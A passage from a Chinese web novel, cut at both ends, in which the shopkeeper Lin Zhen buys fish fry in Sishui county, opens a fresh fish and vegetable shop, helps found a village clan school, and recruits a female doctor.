带在身边烧火摘菜,虽从来不教她处理食材,更不教她上灶。可罗娘子有心,也有些天赋,日日瞧着,偷偷琢磨着,自个儿倒还真折腾出些门道来。 可灶人不喜欢,偶然撞见了,打发她走不算,竟说罗娘子不知感恩,偷学手艺。 这下子,再没灶人乐意收罗娘子为徒,当厨娘的路子也被堵死了。 罗娘子辩不得,认认真真磕头道谢后,自个儿挎着篮子往城南那头卖粗面馒头、饼子、水饭…… 如此折腾着,倒也将姐弟俩拉扯大了。 可爹还是那个烂泥样的爹,甚至瞧着女儿能赚钱,活儿也不干了,只晓得变着法子偷罗娘子的钱喝酒。 弟弟也不晓得是甚时候成了个只晓得端碗吃饭,伸手要钱的混账。 “你不晓得,她一个年轻娘子讨生活,身边每个助力,更是格外不易,便要泼辣难缠些才成。”沈山平叹道。 “那,她爹和弟弟呢?” “爹,前两年吃醉酒,死了,弟弟麽。” 沈山平回忆起那女子坚毅的模样来。 “我打也打了,骂也骂了,实在是掰不过来。人只能自救,他自个儿要烂成一滩子谁都能踩的泥,我不能将自个儿赔进去。我只是姐姐,我也没有娘拉扯长大,他十六了,不是那个六岁的小孩儿了。这些年,我问心无愧,我罗四娘,该为自个儿活一回!”《 》 70-80 第71章 巧儿出嫁, 沈山平娶妻,这一年的春日便在两场婚事中悄然溜走。 林真身边没了那个總是嚷嚷着‘真姐儿真厉害的’姑娘,有些不习惯, 唯一值得宽慰的,便是巧儿三朝回门的时候,瞧着还是笑盈盈的。 她丈夫唤作李盖,瞧着高高大大, 会些泥瓦手艺, 现跟着营造队做活儿。像个能担事儿的, 瞧着巧儿的时候,也是满眼欢喜。 而羅四娘,是个格外爽朗的女子。 沈山平娶她的第一日,便与羅四娘交了家底儿。 “我那铺子是师傅一家子心善, 教我入夥的,若是我一人, 便是再有十年八年的也不一定能开得成这样的铺子。当初说好的, 铺子里一切都听真姐儿的, 我曉得你是个有主意的。今儿便先问问你的意思,若还跟着师傅干, 自然是听真姐儿的;若是你想自家盘个铺子做生意, 那咱便自家干, 只是要先与师傅说, 等铺子里稳当后咱再出来单干。” 听得沈山平如此坦诚,羅四娘心底一暖, 正色道。 “大山也太看得起我了些,我虽早几年出来讨生活,可论这生意经来, 可比不上真姐儿,哪里会与她相争?再来,这事儿不地道,咱不能干。我罗四娘先前连个能说上几句话的人都没有,難得遇上良善人,自当珍惜。” 如此,铺子里添了一位伶俐人,众人相處甚是愉快。 林真也能腾出手来去买魚苗。 “四娘,这几日便要多辛苦你了,若是没你顶着,我还真不敢一走便是恁久。” 卢老这些年在城南观魚没白混,连何處有好魚都曉得。 “東家,咱縣里都是些分支小河,水产寻常,咱在这头是买不着好苗子的。得往泗水縣那头去,那處大江大河,咱要养的=那些金贵玩意儿必得去那處寻。”小老头揣着手,说起养魚来,显得格外靠谱。 只是,这年头的交通,想也曉得,一个字,難。 从慈溪往泗水,便是驾车急行,也得花去一日光景。且他们虽曉得泗水有好苗,可在那头也没个熟人。 这头一遭办事儿,必是要多费些心思的。 如此,便是林真、贺景都要去。 这样一来,铺子的生意还真是大半都压在沈山平与罗四娘肩上。 罗四娘一笑:“真姐儿勿要说这些客气话,这铺子先前多赖着你俩经营,你俩不也没叫唤麽?你且安心去办事,这头一年将路子摸熟,认得几个人,往后便能轻省些。我还等着你说的,要将咱这铺子做大做强,天上飞的、水里游的、地上跑的、土里长的都有,教人都往咱这头来!” 罗四娘爽快,林真也不扭捏,几人交接一番。林真夫妻二人收拾了行囊,取了路引,驾着小灰骡,帶上卢老,順着官道直奔泗水縣去。 小灰早已不是原来的小灰骡子了,才牵来的时候,林真还敢上手摸。 现在,瞧着四肢健壮,肌肉紧实的成年骡子,可只比她矮一个头了。 若是一头陌生骡,她定然是不敢上手的:力气忒大,且在林家日子好,原先灰不溜秋的毛发,现油亮发黑,瞧着就威风。 这样的小灰,不论是拉貨还是赶路,都是极好。 三人天还没亮便出发,趁着落日余晖踏进了泗水县的地界。 小灰跑得快,此时几人还有闲心好生寻摸住处。 挑了一间灯笼亮堂,大堂也熱闹的客栈住进去。 还不晓得事情順利与否,又要住多久,林真便只要了两间普通客房,不包飯食,只提供一桶熱水,两间房,一晚上便要价二百六十文。 她自个儿没觉着有甚,可卢老抬眼悄悄打量,心底一暖:他青年时颠沛流离,可不想临到老了,还能寻摸到这样一位把人当人看的東家来。 他定然要好生留意着,买了苗子来,用心养鱼,给东家赚大錢! 坐了一整日的车,骨头都快被颠散架了。 林真又多花了五文錢,教店家再抬一桶热水,不说泡澡,她要好生泡泡脚。 “客人这錢数多了。”小夥計道。 “不多,小哥尽管收下,寻您打听点儿事。” 小夥計这才坦然地将铜子儿收好:“您尽管问,若是小子晓得的,必当与您说得明明白白。” 林真道:“我想问问小哥,这头何处有好鱼?何处买鱼苗?” “嘿!您可真是问对人了,咱县里水好鱼多,光是鱼市便有三处……” 小伙计口齿伶俐,说起鱼来一点儿不帶停,显然是教人问得多了,也晓得客人打听这些是为何,连市场价格都一并说了。 林真频频点头,见小伙计机灵,说得头头是道,又摸出二十个錢来。 “咱是外乡人,想买些稀罕苗子来养。小哥若是能给我寻摸一位靠谱人来帮着买苗子,不论成与不成,便再谢你二十个钱。” 小伙计眼睛睁大了,寻他打听消息的多,可寻他牵线找中人的还是头一个,瞧着二十个钱,忙道。 “娘子若是信得过我,明儿先去小子说的这些地头上去瞧瞧,心里有个底儿;等我下工后,小子为您引见一位懂行的好手来。” 翌日,休息好的三人先去了城内的鱼市上逛,一看鱼,二问价,只是不买,一路走走停停,像那小伙计说的,先摸摸底。 这一逛,确实与昨日打听来的大差不差。 林真皱眉:“别的鱼便罢了,就是这甲鱼难寻。甲鱼好卖,可鱼苗子却是少见,又贵。” 跑了好几家,三两重以内的小甲鱼,品相好些的,十个钱,便是不爱动弹的那些,也要七个钱。 她又不是三两只地买,那四亩多的堰塘,便是头次养,少不得也得买上二百来只,再算上一路运回去的亏损,单这一样,便要花去两贯多。 “且瞧着也不大好。” 卢老补充了一句,他今儿眼睛睁得大着呢,鱼市上的这几家,他是一个都瞧不上。 “不急,咱再瞧瞧。”贺景道。 “我留心瞧着,今儿鱼市上的几家,也是从旁处买苗子的。若是能找着他们从何处得来的苗子,倒是能省下不少钱。” “好端端的,人作何告诉咱几个外乡人。”卢老嘀嘀咕咕。 林真笑眯眯:“事在人为,说不得就能寻个当地人来带路呢。” “这是劉三哥,寻常便在乡下帮人养鱼,有时也帮着主家往城内送貨,对这些鱼苗子最是懂的。您要甚稀罕货,现就可问问。”小伙计介绍道。 林真盯着那晒得黝黑的汉子,道:“那我便不兜圈子了,这回特往泗水县来,寻常的要买些鲢鱼、鲤鱼和鲫鱼苗子;稀罕些的,便是想买鲈鱼、甲鱼和鳝鱼。” 劉三哥一听,就晓得这是个懂行的,他面上倒是稳得住,沉声道。 “想来您也去鱼市里逛过了,前头几样好找,可后头这几样,得往乡里找。我是晓得何处有,也能引着客人去,更能帮着谈价,可您得出些辛苦钱与我。” 林真点头:“那是自然,您是爽快人,便先说说要何价?” 能大大方方先谈钱,也算坦荡。 “后头三样,得跑三处,那客人便许我三百个钱罢。” 要价倒是不高,不过嘛,做生意哪有不讲价的?不然,显得太过好说话了,没得把她当冤大头。 “可以,不过不止后头那三样,前头那几样也得劳您费心,且,这钱我先给一百个,事成之后,才会一并结清,可成?” 刘三哥思索一番,道:“那您,得包晌午的飯食。” “成!” 接下来的几日,三人便跟着刘三哥到处跑。 “这是我亲戚,你家的苗子好,我这才巴巴儿地引了人来寻你买鱼。人出来一趟可不容易,你得说个实在价。” 刘三哥收钱办事,确实尽心,带几人来看的都是好苗子,卢老也点头,又还帮着讲价,故而虽辛苦些,事情还算顺利。 三人在泗水县又待了四日,买鱼苗,雇人送货,忙得团团转。 此番光是鱼苗这一项,便花去二十来贯,再有装车、送货、路上损耗等,林林總总算下来,花销不算小。 卢老瞧着林真算账,没等东家发问,便先将胸口拍得震天响。 “东家放心,用钱的大头都出了,余下的养鱼,老汉日日给瞧着,定能赚回来!” 他这几日也没闲着,自个儿摸出钱来与那刘老三吃喝了两顿,套出来不少养甲鱼和鳝鱼的法子。 买苗子的时候,又凑得特别近,可是好生打听了一番。 “哎呦,咱远在慈溪,可不会与您争生意。再有,若是俺们那头养得好了,明年不还来你这头补苗子麽?您教老汉几句,吃不了亏的!” 人瞧着他是付钱的那方,也不好恶言相向,又实在是被缠得没法子了,少不得透出几句来。 卢老本就是个懂行的,人稍稍透出几句,外行听不懂(比如林真);可他却能瞬间发应过来。 有此缘由,可不就敢下保证麽。 回程不比来时,路上多花去许多时间,等一行人赶回枣儿村的时候,早已是月上中天。 贺景喊道:“兄弟几个加把劲儿,再随我将苗子运到堰塘那头去,家来有好肉好饭招待诸位!” 林真赶忙回去报信儿,教家里人整治饭食。 好在家里开着铺子,肉是不缺的,苗娘子和吴麽麽得了信儿,快手快脚整治了好饭食来。 林真薅着燕儿烧水、抱被子、铺床铺,已是这个时辰,总得留人歇一宿。 林屠户本是去堰塘帮忙的,可不一会儿就家来了。 “惠娘,拿食盒装些好饭食来,我一会儿给到堰塘那头送去。卢老不肯挪步,说要盯着那些鱼苗子。” 林真探出个头来:“爹,您再给抱床被子,堰塘那头是草棚子,夜里凉着呢!” “晓得了!” 林家的灯光和烟囱,在一片静谧的枣儿村里荡开来。 第72章 新买的魚苗子不能直接投堰塘里, 需得过水。 “慢慢添塘子里的水,先让这些魚苗子试试水,再教它们饱食一顿, 日斜后,无风起波,再下塘子。” 卢老穿着草鞋,挽着裤腿和袖口, 一双满是老茧的手, 搓碎了饵料, 小心洒入缸中。 这是他自个儿製的,嫩草切碎,混了煮熟的麦麸和草籽,晒到半幹。喂魚苗时, 抓一把来,还要先在手中搓碎了才能喂。 賀景跟在一旁, 也是同样的打扮, 同样的动作。他现在, 一心跟着卢老学養魚。 小老头自个儿说的:“東家,老头子一把年纪了, 也不晓得哪日就不成了。您这堰塘这样好, 老头子不忍心教这塘子荒废了。教賀東家跟着老头子学養鱼罢, 旁人我是不樂意教的, 賀東家,我是绝不藏私的。” 这口堰塘是他亲自盯着挖出来的, 处处都合他心意。 東家虽一五一十问得明白,可只要他说得在理,给錢买料子是再不含糊的。还没见着錢, 便先投了三百来贯錢进去。 可即便是这样,东家对他的态度也没变,没有半句阴阳怪气地话。反待他十分周到,吃喝上不曾短过,天冷还给添衣加被。 而且,还给发月錢! 虽说一月只四百个钱,可林东家说这是甚,基,基本工钱?苗子入水后加一部分,待卖鱼賺钱后,再加一部分。 卢老初闻时,惊呆了。 那些乱七八糟的他不大懂,他只晓得,苗子还没买来,鱼还没養成,他还没能给东家賺钱,东家先将月钱给发上了。 卢老喃喃自语:“哪有,哪有这样雇人的?不像地主东家,像是活菩萨。” 林真没听清,问:“啥?您嘀咕说甚呢?” “没,没啥!”卢老下定决心,“东家,您,要不要学养鱼?” 林真,她当然是不想学的。她喊贺景学,种桑养鱼,是贺景提的。 卢老点头:“也对,养鱼辛苦,还弄得一身的鱼腥味,您可别累着了。唤贺东家学也是一样的,小老儿定不会藏私的!” 于是,打从鱼苗入水,卢老是住在了堰塘这头;贺景也再没去铺子里,整日跟着卢老养鱼喂鱼当学徒。 “亏得四娘在此,若不然,咱这铺子还真轉不开。” 又送走一位客人后,林真笑着道。 “哪儿的话,你是一把好手便不说了,燕儿也伶俐着呢!”罗四娘笑笑,才要动手去端那只双耳深釜,便听沈山平在外头喊道。 “别动,放着我来罢!”随即便擦了手,进来端深釜。 “哎呦呦,沈大哥这眼力见儿,愈发见长咯。”林真拖长声音,眼珠子故意在俩人之间打轉。 沈山平默不作声,赶忙快走几步,出得铺子去,将深釜放在一旁的案台上。 现铺子里又添了一样生意:熝肉。 这是罗四娘提出来的。 天气渐热,铺子里又上了鹵豆幹。且这回,不是从朱掌柜那头拿的,是铺子里自家製的。 不止是鹵豆干,铺子外头又摆了案台,支了一小攤儿,專卖熝肉、嚼杂和鹵味。 罗四娘于厨艺一道上确实颇有天赋,林真从旁协助着,倆人折腾一番,还真制出了好鹵汁儿来! 用此鹵汁儿制出来的豆干嚼杂甚的,不比从朱掌柜那头拿的差。 铺子上卖的鸡鸭兔儿本就可以对半砍了卖,有些客人为着少些斤两,便会挑剔不要内脏。 林真一想,干脆将对半砍开的卖的货,拆得更彻底:内脏、爪子和翅膀尖儿都剔了,用来制鹵味儿和嚼杂。 如此一来,熝肉攤子上有鹵制的鸡爪子、鸭掌、翅尖、嚼杂、毛豆、豆干,荤素都有,种类也多,定价又合适,生意着实不错。 又因着材料都是自家铺子上的,并不需要特意采买,利润着实可观。 先前试鹵汁儿时,砸下去的香料钱,早早便赚了回来。 至于摊子么,原先的肉摊子退开几步,再占了一些隔壁铺子的地盘,在外头又支了一个熝肉摊子。 林真手里有隔壁铺子的地契,是一点儿不慌,可这样不明不白地占了别家的地盘总是不好。 为此,她还特意寻人演了一场戏:假装自个儿将那铺子赁了下来。 此事当然是找的楊典史帮忙,开铺子都要在縣衙登记,这是跑不了的。 楊典史才从林真那头得了好处,自然樂得帮这样的小忙。 林家堰塘里的鱼苗子下水后,林真没忘记请了杨旭去家里作耍。 然后,从杨旭那头又带出一串人来:杨典史和縣丞先来;后头是县丞带着几位养鱼户来;最后,便是县里的农官耷眉臊眼的来了。 林真对这些大人之间的官司没兴趣,来就来,看就看,若是要问话,她也平常心对待。 她自个儿觉着没甚,可这一出,倒是推了一把族学之事。 林真过年提的族学,族长闷头想了几日,自然心动,寻了族老商量了好几回,可始终没定下来。 还是后头瞧着林真挖口堰塘都能引来好些个大人物,族老动摇了:真姐儿,确实是个有本事的,她提的建议,很该听一听。 又商量了好些日子,林真新买的六荒田已过户、翻耕、施肥,齐刷刷种了豆子,又摘了一批毛豆后,这才初初定下一套章程来。 族长私下又唤了林真来看。 其实这份计划书已经挺详细了,且相当完善,可行性还高。 族中有富户举家搬入县内,願意将屋子借出来,教族里拿来辦学堂。青砖黛瓦的五间房,还带一一个大院儿。 两间房打通当学堂,摆上案几,可容纳二十来人;另外三间房给夫子住,院儿里砌一道墙,留个门,便能将学堂与夫子的住处隔开,也不会惊扰了夫子家眷。 至于束脩,族中出一半,另一半自付,如此,能教更多族人舍得孩子来读书。 又定下规矩来,每个学生,在族学里最多只能读三年。三年后,无论是否读书,都得领回去,由家中自个儿挣前程。 “似这样族中出钱出地请来的先生,束脩比市面上的要少一半儿,族里再出一半儿,到时,也不怕学堂只稀稀拉拉几个人。”族长面色发红,显然觉着此事辦得漂亮。 在他任族长期间,居然能教林氏一族辦下这等大事来,面上着实有光! 林真眉头却没松:读书费钱,笔墨纸砚,头三样都是消耗品,更别说书本得自个儿备下,族中能出得起这笔钱的人家,不多。 “族长有没有想过,招收外姓人?”林真思索一番,轻声问道。 族长狠狠皱眉,不悦道:“我林氏一族出钱出力办下的学堂,如何能教外人得了这份便宜!” “不是,您想想,若这学堂不止收林家人,还收外姓人,一来,是您身为里正为村里办下的好事;二来,咱能收束脩呀,收外人的束脩,补贴自家孩子,这不好麽?” “啊?”族长愣了愣,还能这样? “怎不能?”林真理直气壮,给族长细细分析。 “此事由林家一力促成,收自家孩子一半束脩,天经地义;外姓学生,想来读书的,就得按着规矩来。咱多收的这份儿束脩,便可拿来补贴林家的孩子,或是买书或是买纸,教更多孩子能有书可读。” “咱们事先说好,願意的便来,不愿的也不强求。若是您觉着名声有碍,便分一部分出来,專专奖励那些在小考中成绩优异的孩子,这个就不论姓氏,如此,可能成?” 林真暗喜:也得教这些小屁孩尝尝月考的滋味儿! 成,怎么不成! 族长又召了族老商议。 是以,这一年的枣儿村,便发生了两件轰动村儿里的大事。 其一,自然是枣儿村有了学堂,由林氏一力办成的族学,也收外姓人。请来的先生是秀才,教导幼儿识字启蒙,算数书信。 其二,村里有了大夫,还是林家人请来的,虽是位女医,可女医不仅能治个头疼脑热的,还能接生! 这两件事儿,都是林家人办成的,一时间,林氏族人在枣儿村,走路都带风! 又因着不论是请夫子还是请女医,都是林有文帮着出力的,他这林氏下任族长的位置,是稳稳当当的。 为此,林有文还专门置下席面来谢林真。 夫子是林有文从前的同窗,取中秀才后,考了两次举人,均未中,遂绝了中举的心,自出来谋生。 “耕读之家,家里还有兄嫂侄儿。本就不甚富裕,苦读十余年,两次秋试,已教家中花费繁多。索性不读了,出来谋个工,赚些钱,也好养家糊口补贴家中。” 夫子虽有些沉郁,可倒是尽心尽力,学堂里十八名顽童,在他的戒尺下,安分得不得了。 女医是从惠民药局挖来的。 也不对,准确的说,是惠民药局不乐意要人,经張女医引荐,林有文三顾茅庐请来的。 林真进出慈幼院多了,与瞧着冷淡的張女医熟悉了几分,便试探着问起张女医可有熟悉的大夫能引荐。 张女医掀起眼皮子瞧她一眼:“有倒是有,可就是怕你们不乐意。” “嗯?若是能有大夫愿意常住枣儿村,村人感激还来不及呢,怎会不乐意?”林真道。 “是女医。” “女医怎的了?女医还能帮着接生呢,不更好?”林真疑惑。 张女医沉默半晌,书信一封,又给了地址,摆摆手:“自去请罢,能不能请来瞧你自个儿。” 林真转头就将信件与地址给了林有文。 “是位女医,有文叔自去请,可不能怠慢了。” 第73章 七月上, 一大早的,长兴坊又有熱闹。 敲敲打打月余的鋪子,终于开张了! 两挂鞭炮, 一支杂耍队,在敲锣打鼓的熱闹劲儿中,原先属于茶掌柜的鋪子,换了名儿:林家鲜魚菜行。 林真揭了红布, 冲围观的众人一拱手:“承蒙各位街坊客人照顾生意, 林家鲜魚菜行今日开业, 惠顾让利,照样满二十减二!” 话音刚落,賀景与沈山平又抬了一缸子茶汤来,燕儿跟在后头, 端了一叠陶碗来放下。 “诸位行路口渴,前来吃口茶汤歇歇腳, 不收錢也不邀買卖, 只当感谢诸位这些日子的照顾, 也好教诸位晓得,这處, 换了我林家鲜魚菜行!” 林真说完, 将制好的招牌找了杆子悬在檐下, 上书‘免費茶汤’几个字, 有些熟悉,可又處處不同。 两间鋪子到底没能打通, 可门前的地界是想通的。 原先的肉摊子换做熝肉摊子,边上在枣儿树下摆放免費茶汤和几个小杌子,至于帶腥味儿的生肉和鲜魚, 则放在新鋪子的最左侧。 铺子里头幹杂货物不变,新铺子内宽敞,只卖鱼不划算,便又打了货架放新鲜瓜菜来卖。 如此,幹杂与鲜货,熟食与生食,全都分开来,味儿不杂,又有两个门脸进出,瞧着分外清爽。 且所有外摆的摊子教林真弄得分外齐整,又都挂了写有‘林’字的小旗,教人晓得,这一整片,都是一个掌柜。 瞧着,当真是格外气派。 林真站在门前,只觉自豪:她的生鲜幹杂铺子,果真是甚都有了。 買肉捞鱼買菜買幹杂,一站式齐全! 唯一麻烦的是鱼腥味,因着肉铺可帮着切肉,卖鲜鱼,林真便也打了案台,预备着帮有需要的客人宰鱼去鳞。 如此一来,这味儿便有些大了。 隔壁是间油燭铺子,平價的灯油灯盏子卖,贵價的黄燭白烛有,便是那不常见的乌桕烛,人照样有,铺子便唤作童家桕烛铺。 是间老字号了。 林真提前备了禮上门拜访,主动退开了好些,开春时又请三叔公来,一气儿种下两颗枣树,自家的摊子上挂竹帘,力求将影响降到最低。 熏肉、腐竹和葛粉送禮,话说得软和,事儿办得还算利索。 童掌柜虽不大乐意,可那铺子是人家的,他也管不着,林真又主动退开,他也不想与这得了縣尊亲笔的林掌柜将关系搞僵,便只得应下。 “还请林掌柜将那些腌臜物收拾得勤快些,莫要堆作一处,惹得蚊蝇流连,瞧着不好看。” 林真依旧笑眯眯:“那是自然,我在这头开铺子也有些日子了,先前那铺子后头没院子没井的,也舍得每日花錢唤了水车来送水擦洗,这回有院有井,自会收拾得更勤快,那生肉摊子是甚样,这鲜鱼摊子也是甚样!” 新铺子确实是好,有井有灶台,还有一方小院儿,三间小屋,虽不如乡间宽敞,可住下一家四口人是不成问题的。 林真修缮铺子的时候将后头一并给拾掇了出来,简单铺设一番,也算是在城内有了个临时落腳的地儿。 往后再也不用瞧着天气不好,便要急慌慌收拾铺子,驾车赶着回家去。 再有,那后院儿虽小,可隔开一块地方来,安置驴车,再少養几只鸡鸭兔儿来应急是不成问题的。 “诸位都来瞧瞧,今晨现摘的瓜果,鲜鱼也是现捞的,鲢鱼、鲫瓜子儿,还有鲈鱼,都活蹦乱跳的呢!” 上午本就是采买的时候,且林真这些日子在干杂铺子里做生意,没少给新铺子打广告,今儿杂耍队的排场虽比干杂铺子的双狮献瑞小些,可引来的客可不少。 此时听得这一句,围观的人群中便有人高声道:“真有那新鲜的鲈鱼啊?” “这如何做得了假,客人请来瞧瞧!” 活鱼在縣里确实少见,更别说还有鲈鱼充场面,一时间,这新开的鲜鱼菜行倒是比原先的干杂铺子还热闹。 “哟呵!还真是,瞧着可够精神的,掌柜的,给我捞这条!” 缸子里游动的鲈鱼不作假,可瞧着也没几条,他得早些下手。 賀景養了恁久的鱼,手快得很,当即用网兜一捞,便将客人瞧中的那条鲈鱼捞出来。 一斤多的鲈鱼在网兜里甩尾巴,溅得水珠子乱飞,瞧着格外有劲儿。 “一斤六两,六十文一斤,满二十减二,收您八十八文。可要帮着宰杀?” “不用,这鲈鱼就得吃一个‘鲜’字儿,我拿去自个儿处理。”那人数出钱来,还又賀了一句,“掌柜的实诚,祝您生意兴隆啊!” 鲈鱼价贵,城南的码头上,能喘气儿的鲈鱼作价五十文左右,似这等活蹦乱跳的,还得再贵上几个钱,林家这定价,不算虚高。 贺景用麻绳从鱼鳃那头穿了递给人,笑道:“承您吉言,吃的好了再来,自家的堰塘,日日都有鲜鱼卖呢!” 林真听了这话,百忙之中还抽空瞧了贺景一眼。嗯,在自家堰塘里養了三个多月,也算是自家养的。 是的,今儿这鱼,除了鲢鱼和鲫瓜子儿是自家堰塘从苗子养起的,鲤鱼和鲈鱼,都是斥了巨资,从泗水那头买了半大的鱼来,只在自家堰塘里养了三个多月。 没法子,鲢鱼和鲫瓜子好养活儿,长得也快。可鲤鱼和鲈鱼长得慢,至于鳝鱼和甲鱼,那更慢,若指望着自家堰塘里的鱼,那今日,只有鲢鱼和鲫鱼能卖。 铺子开业,林真是想一鼓作气打响名声的,总不能只摆些常见的鲢鱼和鲫瓜子罢? 那样瞧着可不好看。 是以,等头一批鱼苗适应良好后,她与贺景又跑了一趟,买了半大的鱼来养,这才能今朝一同上了三种活鱼来卖。 林真又搭话:“客人会吃,这鲈鱼肉质细嫩,用来清蒸最能尝其鲜美,配上几滴豉汁来,那叫一个美!” “哎呦呦,这不是前儿听那王小吃家说的,鲈鱼甚美,要得其鲜甜,只需辅以葱姜清蒸,这才巴巴儿地买鲈鱼吃。”那人砸吧了几下,颇有些遗憾道,“可惜家里倒是没有好醬来配。” 林真眼睛发亮,语气倒是不显急切。 “咱县里的醬清是差些,客人若是信得过我,往我家那干杂铺子里去,醬清香醋均有,打从外头弄来的好货呢。不好吃,管退!” “哟,林掌柜都这样说了,那我可得去瞧瞧。” “您尽管去。” 林真信心满满,那可是她从泗水县那头废了好些功夫弄来的,王柘那样挑剔的嘴,吃了也只有说好的。 第二回 往泗水县去时,林真帶了些自家铺子上的熏肉、腐竹去,一来是给刘三哥和小伙计送份儿薄礼;二来,也抱着试试的心态,看能不能给腐竹、熏肉在泗水县这头找个新销路。 往后补鱼苗啥的,少不得往泗水这头来,来时若能拉些货卖出去,将雇人送货的钱赚出来也是好的。 可不想,误打误撞之下,居然还得了一桩巧宗儿。 见着林真居然还带了礼来的刘三哥是极高兴的:主顾给钱爽快,待人大方,还这样看得起他。 人一高兴,不止帮着牵线搭桥买半大的鲈鱼,还又引着俩人去买酱清和香醋。 “咱泗水有好水,不仅鱼获多,连带着酿出来的酱清和香醋也比别处好些。加之爱吃鱼虾,那白灼的虾子清蒸的鱼,都得好酱好醋才相配,因而家家户户都会些制酱的手艺。一来二去,有好水好手艺,这酱清和香醋自然格外好些,外头也有不少商人来买哩!您买回去,不会亏。” “难怪,我先前就觉着此处的白灼青虾比别处好吃,原先以为是虾好,不曾想,还有这层缘由呢!” 林真先赞,又很上道。 “刘兄弟放心,得了这好消息,又还劳您帮着说项,不论成与不成,我都领您的情!” 如此,往返泗水,去时送货,来时买货,林真这路费,不仅挣回来了,还又给铺子里添了新鲜货。 铺子时常上新,且都是好货,这生意自然是愈发红火。 今儿忙忙碌碌,不仅拉来的活鱼卖光了,连带着干杂铺子、生肉摊子和熝肉摊子都卖出去好些货。 特别是生肉摊子,原本天儿热,生肉不好卖,今儿倒是卖出去不少。 活鱼卖光后,林真便赶贺景家去歇息。 “早些家去,卢老在家里怕是急得很,我这头有小柳和燕儿,不肖你多操心。” 今儿是头一天卖鱼,那小老头心里明明着急得不得了,林真唤他自个儿上铺子里来看,可人又不乐意来,此时倒是有了现成的借口教贺景早些家去。 这人,今儿天不亮就起来捞鱼,又忙了恁久,早些家去歇着才是正理。 “瞧,小柳多麻利。” 正说着呢,那半大小子已打了水拿了笤帚抹布来,正手脚麻利的清洗摊子。 林小柳也是林家人,命不好,爹娘去了,在大伯手下讨生活。 大伯一家子有儿有女还有孙儿,待这侄儿能有多好。 此番新铺子开业,也需要人手,林真见他手脚麻利,便干脆雇了他来干活。 林小柳晓得此番是自个儿走了大运,更加珍惜,进进出出腿下生风,一双手也从不闲着。 案板上处理鲜鱼,可连一点儿鱼鳞血水都瞧不见,可见其有多麻利。 连隔壁的童掌柜,今儿都没话说,反挎了一只篮子来贺喜。 “得了林掌柜的好鲈鱼,怎能不回礼,自家的东西,林掌柜可莫要推辞。” 第74章 下半晌清闲少人的时候, 王柘才溜溜达达过来。他身后还跟着一捧着盒子的小郎。 王柘也不急着进来,在外头探头一瞧,见着水缸和木盆里干干净净, 笑道:“哟,都賣光了,可见林掌櫃这鲜鱼生意好。” 他招招手,身后跟着的小郎赶紧上前, 将捧着的盒子打开来。 “先前白得了林掌櫃的好鲈鱼, 可不敢怠慢, 赶紧尋了一套好杯碟儿来贺您。” 王柘有些得意,“瞧瞧,可还看得上?” 林真伸头一瞧,好一套精致的莲状白瓷碟儿。 釉质温润细腻, 且杯碟边缘白中泛青,几笔勾勒的蜻蛉与莲口釉青相映衬, 极简中又透出几分生动活泼来。 极美。 “这都瞧不上, 那我可真真是不识好歹了。”林真笑道, “还得是王小吃家,于吃食上就是讲究。色香味都要占, 这配套的杯啊碟啊的, 自然得相称, 这套杯碟, 夏日里用,刚刚好。” 王柘一下子就笑了, 面上那股淡然再也绷不住:“就曉得你懂!” 王柘去年得了林真的主意,开始在小報上写美食专栏,一开始是自个儿拿錢出来請人登, 后头渐渐写出些名气来,换作小報請他动笔,还给润笔费。 现在麽,人已是有些名气的吃家,有那机灵的商戶,已动了心思請他好生写写自家的吃食。 王柘哪里肯? 他自来不缺錢使,本是文不成武不就的,经营生意也不如家里的哥哥,好容易才折騰出些名气来,如何肯做下这等自毁招牌的事儿? 人早早便放了话出去,若是对自家吃食有信心的,都可来尋他,不肖店家请,他自会花錢買。 可好吃不好吃的,由他的舌头和笔来说话,断不会做下那等收了錢财,给人吆喝的事来。 自也有不信邪的捧了银钱去请。 王柘没收钱,自家花了钱去吃,小報一发,该是如何还是如何,还要挑拣店家用料不实在:不取时鲜,唯恃重醢厚脂,纵有调和之技,终落窠臼。 小报一出,店家脸绿了,厨子倒是得意,而王小吃家这名儿,传得也更响亮了。 就连林真在賣活鱼的前两日,拿了鲈鱼、酱清和香醋去找王柘。 他也格外认真:“真姐儿,我这吃家的名头,没你点拨是再不成的。我曉得你的恩情,可咱也得先说好,若是你这鲈鱼不鲜,酱不香,我是不会发小报的。” 林真一笑:“我如何不晓得?王吃家已是手下留情咯。” 似这等找上门来的,不论好不好吃,王柘都会动笔,可笔下是好是坏,可就由不得人了。 此番说下‘不好吃不发小报’这话来,已算格外体贴。 林真又道:“你先尝,若是吃得好了,也不肖提我的名儿,只管专专写一篇描述鲈鱼鲜美的小报来。” “嗯?这是何意?” 王柘不解,寻他写小报的,都是想借着他的名头来吆喝的,若是不提一嘴店家,这能得甚好处? “傻不傻?”林真瞥他一眼。 “咱俩交好之事,明眼人都瞧得出来。你这直愣愣地夸赞我家鋪子的东西好,不是凭白落人口舌麽?好名声不易得,咱得小心维护着。” 把个王柘感动得啊,差点儿没留下两滴泪来。 后头吃得高兴了,小报上写的那篇《春江鲈鱼录》可以说是超常发挥,读来格外动人:洒葱白数缕,点豉醢半盏,终以沸油一沃,其声飒然,鲜气盈室,盖世间至味不过如是。 林真看了,当天就捞了一尾鲈鱼来,要试试王小吃家那得人间至味的吃法。 软广在前,硬广在后,又有惠顾让利三管齐下,林家鲜鱼菜行是彻底打响名气来。 还有城西那头,清贵人家的管事特意寻来,客客气气请林家備货。 鲈鱼十尾、肥兔六只、花羽山鸡六只,人还特意说了,不要那等家养的芦花鸡,专专要山里弄来的花羽山鸡。又搬了酱清和香醋各一坛,全是她这鋪子上的尖儿货。 给钱大方不说,还不需店家动手处理,只需将货送去城西浣花巷子里的江姓举人老爷处就成。 年底一盘账,发觉这两处铺子着实赚钱,缴了税后,分到林真这头的,竟还有一百来貫! “城内的生意不能再扩了,咱家往后,便专专買田置地罢。” 林真丢开笔,提出家里日后的发展方向。 “是这个理儿,瞧着生意恁红火,我这心里居然还发慌。” 这回是林屠戶第一个点头赞成,先前有文特意来提醒过,教万万不可入了商籍。 “冬节走礼的时候与族长提一提,趁着咱族长还是里正,有甚好地儿也能先得了消息,先下手買了来。”林真又道。 “这地是愈发贵了,先前荒地都要四貫多了。好田价贵,旱地怕是要往九貫上涨,水田虽不易得,可也要備下银钱来,若是有,不拘是多少,總得買下来。” 林真略一盘算,定下心来。 “爹,咱留些银钱应急、买地,还能余下些钱来,我想着,将咱家后头那片宅基地买下来,咱家建屋罢。” “嗯?”林屠戶疑惑,“怎又要建屋?” 还要买一整片宅基地,听真姐儿这语气,怕还要大动,是冲着八。九十间的大屋去的。 这可得备下百来贯钱。 